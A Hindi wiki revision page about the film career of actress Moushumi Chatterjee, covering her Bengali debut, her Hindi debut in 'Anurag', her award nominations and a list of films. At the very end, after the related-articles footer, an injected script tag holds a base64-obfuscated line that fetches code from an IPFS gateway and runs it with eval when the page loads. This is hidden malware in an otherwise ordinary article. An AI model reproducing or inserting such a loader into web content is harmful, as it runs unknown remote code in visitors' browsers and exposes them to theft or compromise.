मौसमी चटर्जी का फ़िल्मी कॅरियर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 37: Line 37:
{{अभिनेत्री}}
{{अभिनेत्री}}
__INDEX__
__INDEX__
[[Category:अभिनेत्री]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:मौसमी चटर्जी]][[Category:सिनेमा]][[Category:कला कोश]]
[[Category:मौसमी चटर्जी]][[Category:सिनेमा]][[Category:कला कोश]][[Category:सिनेमा कोश]]
__NOTOC__
__NOTOC__

Revision as of 11:21, 2 July 2017

मौसमी चटर्जी विषय सूची
मौसमी चटर्जी का फ़िल्मी कॅरियर
पूरा नाम मौसमी चटर्जी
जन्म 26 अप्रैल, 1953
जन्म भूमि कोलकाता
पति/पत्नी जयंत मुखर्जी
कर्म-क्षेत्र अभिनेत्री
मुख्य फ़िल्में 'अनुराग', 'रोटी कपड़ा और मकान', 'अंगूर'
पुरस्कार-उपाधि फ़िल्मफेयर सर्वश्रेष्ठ अभिनेत्री (दो बार),
नागरिकता भारतीय
अन्य जानकारी शक्ति सामंत के निर्देशन में बनी फिल्म ‘अनुराग’ में मौसमी चटर्जी ने अंधी लडक़ी का किरदार निभाया था।
अद्यतन‎

मौसमी चटर्जी हिन्दी फ़िल्मों की सुप्रसिद्ध अभिनेत्री हैं। उनको एक ऐसी अभिनेत्री के तौर पर शुमार किया जाता है जिन्होंने 70 और 80 के दशक में अपनी रूमानी अदाओं से दर्शकों को अपना दीवाना बनाए रखा। 26 अप्रैल 1953 को कलकत्ता में जन्मी मौसमी ने अपने अभिनय कॅरियर की शुरूआत वर्ष 1967 में प्रदर्शित बंगला फ़िल्म ‘बालिका वधू’ से की थी। फ़िल्म टिकट खिड़की पर सुपरहिट रही। [1]

फ़िल्मी सफर

बंगाली फ़िल्म 'बालिका वधू' के बाद बॉलीवुड में मौसमी ने अपने कॅरियर की शुरूआत वर्ष 1972 में प्रदर्शित फ़िल्म 'अनुराग' से की। इस फ़िल्म में मौसमी के अपोजिट विनोद मेहरा थे। शक्ति सामंत के निर्देशन में बनी 'अनुराग' में मौसमी ने नेत्रहीन लड़की का किरदार निभाया था। कॅरियर की शुरूआत में इस तरह का किरदार किसी भी नई अभिनेत्री के लिए जोखिम भरा हो सकता था लेकिन, मौसमी ने अपने संजीदा अभिनय से दर्शकों को मंत्रमुग्ध कर दिया। इस फ़िल्म के लिए मौसमी को सर्वश्रेष्ठ अभिनेत्री के फ़िल्म फेयर पुरस्कार से नामांकित किया गया।[1]

बिना ग्लिसरीन के ही रो पड़ती थी मौसमी

मौसमी चटर्जी के बारे में कहा जाता था कि वो रोने वाले दृश्य बड़े ही सरलता के साथ कर लेती थीं और इसके लिए उन्हें ग्लीसरीन की भी जरूरत नहीं पड़ती थी। मौसमी के अनुसार जब किसी दृश्य में उन्हें रोना होता था तो वे सोचती थी कि ये उनके साथ सच में हो रहा है और वे रो पड़ती थी।[2]

वर्ष 1974 में मौसमी ने 'रोटी कपड़ा और मकान' और 'बेनाम' जैसी सुपरहिट फ़िल्मों में अभिनय किया। 'रोटी कपड़ा और मकान' के लिए मौसमी को सर्वश्रेष्ठ सहायक अभिनेत्री के फ़िल्म फेयर पुरस्कार का नामांकन मिला। वर्ष 1976 में मौसमी की एक और सुपरहिट फ़िल्म ’सबसे बड़ा रूपया’ प्रदर्शित हुई। मौसमी के कैरियर में उनकी जोड़ी सबसे अधिक विनोद मेहरा के साथ पसंद की गई। इसके अलावा मौसमी ने संजीव कुमार, जीतेन्द्र, राजेशखन्ना, शशि कपूर और अमिताभ बच्चन जैसे सुपर सितारों के साथ भी काम किया। मौसमी ने हिंदी फ़िल्मों के अलावा कई बंगला फिल्मों में भी अपने अभिनय का जौहर दिखाया है।[1]

मुख्य फ़िल्में

मौसमी की कुछ अन्य उल्लेखनीय फ़िल्में निम्न हैं।-

  1. कच्चे धागे
  2. जहरीला इंसान
  3. स्वर्ग नरक
  4. फूल खिले है गुलशन गुलशन
  5. मांग भरो सजना
  6. ज्योति बने ज्वाला
  7. दासी
  8. अंगूर
  9. घर एक मंदिर
  10. घायल
  11. संतान
  12. जल्लाद
  13. करीब
  14. ज़िंदगी
  15. रॉक्स आदि।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

मौसमी चटर्जी विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>